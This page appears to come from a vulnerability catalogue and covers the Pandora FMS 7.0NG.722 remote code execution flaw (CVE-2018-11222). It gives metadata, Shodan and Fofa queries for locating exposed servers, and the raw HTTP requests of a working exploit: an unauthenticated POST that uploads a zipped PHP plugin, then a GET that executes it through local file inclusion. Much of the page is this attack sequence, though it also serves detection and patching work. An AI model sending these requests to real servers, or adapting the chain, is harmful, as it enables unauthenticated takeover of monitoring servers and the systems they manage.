| Title | Pandora FMS <=7.0NG.722 - Remote Code Execution |
|---|---|
| Author | iamnoooob,rootxharsh,pdresearch |
| Severity | High |
| Impact | Unauthenticated attackers can upload malicious PHP files and execute them via local file inclusion, leading to complete server compromise and access to all managed systems. |
| Remediation | Upgrade to Pandora FMS version 7.0NG.723 or later. |
| CVSS Score | 7.5 |
| EPSS Score | 0.03828 |
| CVE ID | CVE-2018-11222 |
| CWE ID | CWE-20 |
| Shodan Query | http.html:"pandora fms - installation wizard"http.title:"pandora fms" |
| Fofa Query | body="pandora fms - installation wizard"title="pandora fms" |
| Tags | cve cve2018 rce file-upload lfi pandora intrusive vkev vuln |
Pandora FMS versions <=7.0NG.722 are vulnerable to unauthenticated remote code execution by chaining an unrestricted file upload (CVE-2018-11221) and a local file inclusion (CVE-2018-11222). An attacker can upload a malicious PHP file as a plugin and execute it via LFI, leading to full compromise of the server.
POST /pandora_console/ajax.php?page=include/ajax/update_manager.ajax&upload_file=true HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Content-Length: 658
Connection: keep-alive
Content-Type: multipart/form-data; boundary=------------------------Sh5BXowDBYvdaiPqkMSZas
Accept-Encoding: gzip
Connection: close
--------------------------Sh5BXowDBYvdaiPqkMSZas
Content-Disposition: form-data; name="name"
upfile
--------------------------Sh5BXowDBYvdaiPqkMSZas
Content-Disposition: form-data; name="filename"
plugin.oum
--------------------------Sh5BXowDBYvdaiPqkMSZas
Content-Disposition: form-data; name="upfile"; filename="plugin.oum"
Content-Type: application/octet-stream
PK plugin/phpinfo.php��/�(PHM��WHJ,N53�OIM�OI�P���p� /H O)�p+M�6�KrOq6*(J4��� ��R״V�� ��PK9�,J D PK 9�,J D plugin/phpinfo.phpPK @ �
--------------------------Sh5BXowDBYvdaiPqkMSZas--
GET /pandora_console/ajax.php?page=wp-admin//plugin/phpinfo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-11222.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-11222.pcap
N/AN/A